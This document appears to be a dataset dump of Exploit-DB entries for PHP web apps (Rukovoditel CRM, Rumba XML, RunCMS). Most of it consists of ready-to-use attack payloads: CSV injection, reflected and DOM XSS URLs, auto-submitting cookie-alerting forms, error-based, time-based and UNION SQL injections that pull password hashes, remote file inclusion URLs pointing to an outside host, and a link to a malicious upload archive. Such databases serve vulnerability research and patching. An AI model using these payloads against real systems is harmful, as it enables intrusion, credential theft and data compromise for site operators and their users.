deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51490
Description: Rukovoditel 3.3.1 - CSV injection
Type: webapps
Platform: php
Date: 2023-05-31
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: Rukovoditel 3.3.1 - CSV injection
Version: 3.3.1
Bugs:  CSV Injection
Technology: PHP
Vendor URL: https://www.rukovoditel.net/
Software Link: https://www.rukovoditel.net/download.php
Date of found: 27-05-2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
Step 1. login as user
step 2. Go to My Account ( http://127.0.0.1/index.php?module=users/account )
step 3. Set Firstname as  =calc|a!z|
step 3. If admin Export costumers as CSV  file ,in The computer of admin  occurs csv injection and will open calculator (http://localhost/index.php?module=items/items&path=1)

payload: =calc|a!z|
Exploit-DB #46608
Description: Rukovoditel ERP & CRM 2.4.1 - 'path' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-03-26
Author: Javier Olmedo

Exploit:
# Exploit Title: Rukovoditel ERP & CRM 2.4.1 - 'path' Cross-Site Scripting
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2019-03-24
# Google Dork: N/A
# Vendor: Rukovoditel
# Software Link: https://sourceforge.net/projects/rukovoditel/
# Affected Version: 2.4.1 and possibly before
# Patched Version: patched in extension version 2.4.1
# Category: Web Application
# Platform: Windows
# Tested on: Win10x64 & Kali Linux
# CVE: 2019-7400
# References:
# https://hackpuntes.com/cve-2019-7400-rukovoditel-erp-crm-2-4-1-cross-site-scripting-reflejado/

# 1. Technical Description:
# path parameter is vulnerable to Reflected Cross-Site Scripting (XSS) attacks
# through a GET request in index.php resource.
  
# 2. Proof Of Concept (PoC):
# http://localhost/index.php?module=items/items&path=%22%3E%3Cimg%20src%3da%20onerror%3dalert(%22VULNERABLE%22)%3E

# 3. Payload
# "><img src=a onerror=alert("VULNERABLE")>
Exploit-DB #45620
Description: Rukovoditel Project Management CRM 2.3 - 'path' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-16
Author: Ihsan Sencan

Exploit:
# Exploit Title: Rukovoditel Project Management CRM 2.3 - 'path' SQL Injection
# Dork: N/A
# Date: 2018-10-15
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.rukovoditel.net/
# Software Link: https://www.rukovoditel.net/download.php
# Version: 2.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Description
# The client+ user group can run sql injection codes.
# 
# /* `exploitdb`.`app_access_groups` */
# $app_access_groups = array(
#   array('id' => '4','name' => 'Manager','is_default' => '1','is_ldap_default' => '0','ldap_filter' => '','sort_order' => '2'),
#   array('id' => '5','name' => 'Developer','is_default' => '0','is_ldap_default' => '0','ldap_filter' => '','sort_order' => '1'),
#   array('id' => '6','name' => 'Client','is_default' => '0','is_ldap_default' => '0','ldap_filter' => '','sort_order' => '0')
# );
# 
# http://192.168.1.27/[PATH]/index.php?module=items/info&path=1-1[SQL]

%27+%20and%20(sELect%201%20fROm%20(sELect%20cOUNt(*),conCAT((sELect(sELect%20conCAT(cast(daTABase()%20as%20char),0x7e))%20fROm%20inforMATion_SCHema.TABles%20where%20TABle_SCHema=daTABase()%20limit%200,1),floor(rand(0)*2))x%20fROm%20inforMATion_SCHema.TABles%20gROup%20by%20x)a)%20AND%20%27Efe%27=%27Efe
 
GET /[PATH]/index.php?module=items/info&path=1-1%27+%20and%20(sELect%201%20fROm%20(sELect%20cOUNt(*),conCAT((sELect(sELect%20conCAT(cast(daTABase()%20as%20char),0x7e))%20fROm%20inforMATion_SCHema.TABles%20where%20TABle_SCHema=daTABase()%20limit%200,1),floor(rand(0)*2))x%20fROm%20inforMATion_SCHema.TABles%20gROup%20by%20x)a)%20AND%20%27Efe%27=%27Efe HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: cookie_test=please_accept_for_session; sid=0i0o9mn52bt17fpchg7rinmsd7
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 15 Oct 2018 00:12:43 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: cookie_test=please_accept_for_session; expires=Mon, 15 Oct 2018 00:12:43 GMT; Max-Age=2592000
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1058
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Exploit-DB #46282
Description: Rukovoditel Project Management CRM 2.4.1 - 'lists_id' SQL Injection
Type: webapps
Platform: php
Date: 2019-01-30
Author: Mehmet EMIROGLU

Exploit:
#################################################################

# Exploit Title: Rukovoditel Project Management CRM 2.4.1 - 'lists_id' SQL
Injection
# Dork: N/A
# Date: 27-01-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://www.rukovoditel.net/
# Software Link: https://sourceforge.net/projects/rukovoditel/
# Version: 2.4.1
# Category: Webapps
# Tested on: Wampp @Win
# CVE: N/A
# Software Description : Rukovoditel is a free web-based open-source
project management
application. A far cry from traditional applications, Rukovoditel gives
users a broader and extensive approach to project management. Its
customization options allow users to create additional entities, modify
and specify the relationship between them, and generate the necessary
reports.

#################################################################

# Vulnerabilities
# For the SQL injection to be applied, the user must log in.
then from the Application structure screen to the global list tab.
add new value button to create a new list. You can apply sql injection
through the generated list.
The pictures of the weaknesses are below.
https://i.hizliresim.com/nQJZm5.jpg
https://i.hizliresim.com/WqGmEQ.jpg

#################################################################

# POC - SQLi
# Parameters : lists_id=1 (string)
# Attack Pattern : -1'+UnIOn+SeLEcT+1,2--+
# GET Request :
http://localhost/[PATH]/index.php?module=global_lists/choices&lists_id=1'[SQL]

#################################################################
Exploit-DB #46366
Description: Rukovoditel Project Management CRM 2.4.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-02-13
Author: Mehmet EMIROGLU

Exploit:
####################################################################

# Exploit Title : Rukovoditel Project Management CRM 2.4.1 - XSS Vulnerability (DOM BASED)
# Author [ Discovered By ] : Mehmet EMIROGLU
# Date : 29/01/2019
# Vendor Homepage : https://www.rukovoditel.net/
# Software Link : https://sourceforge.net/projects/rukovoditel/
# Affected Versions : 2.4.1
# Tested On : Wampp, Windows,Lampp
# Category : WebApps
# Exploit Risk : Medium
# CVE : 2019-7541
# Sofrware Description : Rukovoditel is a free web-based open-source
project management
  application. A far cry from traditional applications, Rukovoditel gives
  users a broader and extensive approach to project management. Its
  customization options allow users to create additional entities, modify
  and specify the relationship between them, and generate the necessary
reports.

####################################################################

# Impact :
*********

* This web application called as Rukovoditel Project Management CRM 2.4.1
version.
* first of all, delete the value string from the URL
(...module=users%2flogin)
* after, add the XSS code I've given below to the end of the URL.
* The proof will be the picture below.
* https://i.hizliresim.com/6aydM7.jpg

####################################################################

# PoC :
****************************
* XSS Code : "><img src=x
onerror=document.body.innerHTML=location.hash>#"><img src=x
onerror=prompt(123456789)>
* Value : users%2flogin
* Get Request : http://localhost/[PATH]/index.php?module=users%2flogin
* URL : http://localhost/rukovoditel/index.php?module="><img src=x
onerror=document.body.innerHTML=location.hash>#"><img src=x
onerror=prompt(123456789)>

####################################################################
Exploit-DB #47931
Description: Rukovoditel Project Management CRM 2.5.2 - 'entities_id' SQL Injection
Type: webapps
Platform: php
Date: 2020-01-16
Author: Fatih Çelik

Exploit:
# Exploit Title: Rukovoditel Project Management CRM 2.5.2 - 'entities_id' SQL Injection
# Google Dork: N/A
# Date: 2020-01-15
# Blog: https://fatihhcelik.blogspot.com/
# Exploit Author: Fatih Çelik
# Vendor Homepage: https://www.rukovoditel.net/
# Software Link: https://sourceforge.net/projects/rukovoditel/
# Version: 2.5.2
# Tested on: Kali Linux
# CVE : N/A

 

# Request,
GET /ruko/index.php?module=entities/fields&entities_id=25 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/ruko/index.php?module=entities/fields&entities_id=25
Connection: close
Cookie: cookie_test=please_accept_for_session; sid=3jnq6vg6ovl2cq0ojpsff4vaol; hblid=9P5zBGVwXwPEgj9L3m39N0U0I0A6O221; olfsk=olfsk[PII_REDACTED]411198; xoadmstyle=silver
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

# PAYLOADS,

# Parameter: entities_id (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause

Payload: module=entities/fields&entities_id=25' AND 2091=2091 AND 'emRY'='emRY

# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: module=entities/fields&entities_id=25' AND (SELECT 2023 FROM(SELECT COUNT(*),CONCAT(0x716b706a71,(SELECT (ELT(2023=2023,1))),0x[PII_REDACTED],FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'ZZpM'='ZZpM

# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: module=entities/fields&entities_id=25' AND (SELECT 5681 FROM (SELECT(SLEEP(5)))rdOz) AND 'vWza'='vWza

# Type: UNION query
# Title: Generic UNION query (NULL) - 23 columns

Payload: module=entities/fields&entities_id=25' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b706a71,0x5a[PII_REDACTED][PII_REDACTED]6254624c514e45694d42776a6d67614a68434c6762434f62514d4f4566,0x[PII_REDACTED]),NULL-- syQw
Exploit-DB #47934
Description: Rukovoditel Project Management CRM 2.5.2 - 'filters' SQL Injection
Type: webapps
Platform: php
Date: 2020-01-16
Author: Fatih Çelik

Exploit:
# Exploit Title: Rukovoditel Project Management CRM 2.5.2 - 'filters' SQL Injection
# Google Dork: N/A
# Date: 2020-01-15
# Blog: https://fatihhcelik.blogspot.com/
# Exploit Author: Fatih Çelik
# Vendor Homepage: https://www.rukovoditel.net/
# Software Link: https://sourceforge.net/projects/rukovoditel/
# Version: 2.5.2
# Tested on: Kali Linux
# CVE : N/A

# Request,

POST /ruko/index.php?module=tools/users_login_log&action=listing HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/ruko/index.php?module=tools/users_login_log
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 125
Connection: close
Cookie: cookie_test=please_accept_for_session; sid=3jnq6vg6ovl2cq0ojpsff4vaol; hblid=9P5zBGVwXwPEgj9L3m39N0U0I0A6O221; olfsk=olfsk[PII_REDACTED]411198; xoadmstyle=silver

page=1&filters%5B0%5D%5Bname%5D=type&filters%5B0%5D%5Bvalue%5D=1&filters%5B1%5D%5Bname%5D=users_id&filters%5B1%5D%5Bvalue%5D=

 
# PAYLOADS,

# Parameter: filters[1][value] (POST)
# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: page=1&filters[0][name]=type&filters[0][value]=0&filters[1][name]=users_id&filters[1][value]=1' AND (SELECT 6543 FROM(SELECT COUNT(*),CONCAT(0x716b706a71,(SELECT (ELT(6543=6543,1))),0x[PII_REDACTED],FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ApLW

# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: page=1&filters[0][name]=type&filters[0][value]=0&filters[1][name]=users_id&filters[1][value]=1' AND (SELECT 1479 FROM (SELECT(SLEEP(5)))WpOr)-- kARm

# Parameter: filters[0][value] (POST)
# Type: boolean-based blind
# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

Payload: page=1&filters[0][name]=type&filters[0][value]=-6686' OR 4511=4511#&filters[1][name]=users_id&filters[1][value]=1

# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: page=1&filters[0][name]=type&filters[0][value]=0' AND (SELECT 4167 FROM(SELECT COUNT(*),CONCAT(0x716b706a71,(SELECT (ELT(4167=4167,1))),0x[PII_REDACTED],FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- nQyo&filters[1][name]=users_id&filters[1][value]=1

# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: page=1&filters[0][name]=type&filters[0][value]=0' AND (SELECT 6373 FROM (SELECT(SLEEP(5)))ytRS)-- QpIm&filters[1][name]=users_id&filters[1][value]=1
Exploit-DB #10534
Description: Rumba XM - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-17
Author: Hadi Kiamarsi

Exploit:
###########################################
#
# Script Name : Rumba XML ( All Version )
#
# Bug Type : XSS vulnerability
#
# Found by : Hadi Kiamarsi
#
# Contact : hadikiamarsi [at] hotmail.com
#
# Download : http://download.softpedia.ro/dl/4bf8d3951ea08865afb7c98b8c0476fa/4b2a1ca9/600056463/webscripts/PHP/xml18eng.zip
#

###########################################

PoC :

http://[target]/[path]/index.php/>"><script>alert('Hadi Kiamarsi')</script>

example :

http://server/index.php/>"><script>alert('Hadi Kiamarsi')</script>

local Example :

http://localhost/index.php/>"><script>alert('Hadi Kiamarsi')</script>
Exploit-DB #34559
Description: Rumba XML 2.4 - 'index.php' Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2010-09-01
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/42914/info

Rumba XML is prone to multiple HTML-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Rumba XML 2.4 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/index.php" method="post" name="main" >

<input type="hidden" name="sendtags" value="cms" />
<input type="hidden" name="sendid" value="newtag" />
<input type="hidden" name="sendname" value=&#039;New tag"><script>alert(document.cookie)</script>&#039; />
<input type="hidden" name="event" value="add_tag" />

</form>
<script>
document.main.submit();
</script>


<form action="http://www.example.com/index.php" method="post" name="main" >
<input type="hidden" name="sendid" value="rumba_id" />
<input type="hidden" name="sendtitl" value="rumba_titl" />
<input type="hidden" name="sendauthor" value="rumba_author" />
<input type="hidden" name="senddata" value="Sat, 14 Aug 2010 14:34:20" />
<input type="hidden" name="sendlost" value="0" />
<input type="hidden" name="senddesc" value=&#039;rumba_desc"><script>alert(document.cookie)</script>&#039; />
<input type="hidden" name="sendanons" value="rumba_anons" />
<input type="hidden" name="sendtext" value="rumba_text" />
<input type="hidden" name="sendtags" value="service" />
<input type="hidden" name="sendcomm" value="yes" />
<input type="hidden" name="add-end" value="begin" />
<input type="hidden" name="send_old_id" value="rumba_old_id" />
<input type="hidden" name="event" value="add_page" />

</form>
<script>
document.main.submit();
</script>
Exploit-DB #25237
Description: RunCMS 1.1 - Database Configuration Information Disclosure
Type: webapps
Platform: php
Date: 2005-03-18
Author: Majid NT

Exploit:
source: https://www.securityfocus.com/bid/12848/info

RunCMS is reportedly affected by an information disclosure vulnerability. This issue is due to a failure in the application to secure sensitive information.

Exploitation of this vulnerability could lead to the disclosure of database configuration details, including the database name, user name and password.

RunCMS was formerly named E-Xoops. 

http://www.example.com/[runcms]/class/debug/highlight.php?file=[runcmsinstallationpath]\mainfile.php&line=151#151
Exploit-DB #26186
Description: RunCMS 1.1/1.2 Module Newbb_plus/Messages - SQL Injection
Type: webapps
Platform: php
Date: 2005-08-22
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/14631/info

RunCMS is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/runcms/modules/newbb_plus/newtopic.php?forum=-99%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,pass,1,1%20FROM%20runcms_users%20WHERE%201/*
http://www.example.com/runcms/modules/newbb_plus/edit.php?forum=-99%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM%20runcms_users%20WHERE%201/*&post_id=2'&topic_id=2&viewmode=flat&order=0
http://www.example.com/runcms/modules/newbb_plus/reply.php?forum=-99%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,pass,1,1%20FROM%20runcms_users%20WHERE%201/*&post_id=2&topic_id=2&viewmode=flat&order=0
http://www.example.com/runcms/modules/messages/print.php?msg_id=-99%20UNION%20SELECT%201,uname,1,1,1,pass%20FROM%20runcms_users%20WHERE%201/*&op=print_pn
http://www.example.com/runcms/modules/messages/print.php?msg_id=-99%20UNION%20SELECT%201,uname,1,1,1,pass%20FROM%20runcms_users%20WHERE%201/*&op=print_sent_pn
Exploit-DB #27226
Description: RunCMS 1.2/1.3 - 'PMLite.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-14
Author: Hamid Ebadi

Exploit:
source: https://www.securityfocus.com/bid/16652/info

RunCMS is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/modules/messages/pmlite.php?send=2&to_userid=-1%20union%20%20%20%20select%20pass%20from%20runcms_users%20where%20level=5
http://www.example.com/modules/messages/pmlite.php?send=2&to_userid=-1/**/union/**/select/**/uname/**/from/**/runcms_users%20where%20level=5/*hamid-network-security-team-http://hamid.ir
Exploit-DB #31225
Description: RunCMS 1.6.1 - 'admin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-02-18
Author: NBBN

Exploit:
source: https://www.securityfocus.com/bid/27852/info

RunCMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

RunCMS 1.6.1 is vulnerable; other versions may also be affected. 

<html><head></head><body onLoad="javascript:document.r.submit()">
<form action="http://localhost/xampp/runcms/modules/system/admin.php"
method="post" enctype="multipart/form-data" name="r">
<input type="text" class="text" name="rank_title" size="30" maxlength="50"
value="<marquee>Cross-Site Scritping :-("/>
<input type="hidden" name="fct" value="userrank">
<input type="hidden" name="op" value="RankForumAdd">
</form>
</body>
Exploit-DB #32099
Description: RunCMS 1.6.1 - 'bbPath[path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-21
Author: Ciph3r

Exploit:
source: https://www.securityfocus.com/bid/30331/info

RunCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

RunCMS 1.6.1 is vulnerable; other versions may be affected as well. 

http://www.example.com/modules/newbb_plus/votepolls.php?bbPath[path]=http://www.example2.com
Exploit-DB #32100
Description: RunCMS 1.6.1 - 'bbPath[root_theme]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-21
Author: Ciph3r

Exploit:
source: https://www.securityfocus.com/bid/30331/info
 
RunCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
RunCMS 1.6.1 is vulnerable; other versions may be affected as well. 

http://www.example.com/modules/newbb_plus/config.php?bbPath[root_theme]=http://www.example2.com
Exploit-DB #27360
Description: RunCMS 1.x - 'Bigshow.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-06
Author: Roozbeh Afrasiabi

Exploit:
source: https://www.securityfocus.com/bid/16970/info

RunCMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before including it in dynamically generated HTML content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/[target]/modules/downloads/bigshow.php?id=[url of an image]'>[code]
Exploit-DB #27256
Description: RunCMS 1.x - 'Ratefile.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-22
Author: Roozbeh Afrasiabi

Exploit:
source: https://www.securityfocus.com/bid/16769/info

RunCMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/public/modules/downloads/ratefile.php?lid={number}">[code]
Exploit-DB #28896
Description: RunCMS 1.x - Avatar Arbitrary File Upload
Type: webapps
Platform: php
Date: 2006-11-02
Author: securfrog

Exploit:
source: https://www.securityfocus.com/bid/20874/info

RunCMS is prone to an arbitrary file-upload vulnerability. 

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28896.php.zip